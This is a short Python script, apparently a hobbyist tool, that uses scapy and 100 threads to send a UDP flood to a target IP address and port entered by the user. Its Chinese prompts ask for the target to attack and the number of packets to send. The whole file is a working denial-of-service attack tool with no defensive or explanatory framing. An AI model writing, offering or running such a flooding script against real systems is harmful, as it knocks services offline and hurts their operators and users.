from scapy.all import IP,UDP,Raw,send
import threading

def udp_flood(ip,port,times):
	for i in range(1,times + 1):
		packetIP = IP(dst = ip)
		packetUDP = UDP(dport=port)
		packetLoad = Raw(load="100000")
		packet = packetIP / packetUDP / packetLoad
		send(packet)

def udp_DDos():
	try:
		ip = input("请输入要攻击的目标ip：")
		port = int(input("请输入要攻击的目标端口："))
		times = int(input("请输入要攻击udp报文的数量："))
		list = []
		for i in range(1,101):
			t = threading.Thread(target=udp_flood,args=(ip,port,times))
			t.start()
			list.append(t)
		for j in list:
			j.join()
	except Exception:
		print("输入有误，请重新输入")


if __name__ == '__main__':
	udp_DDos()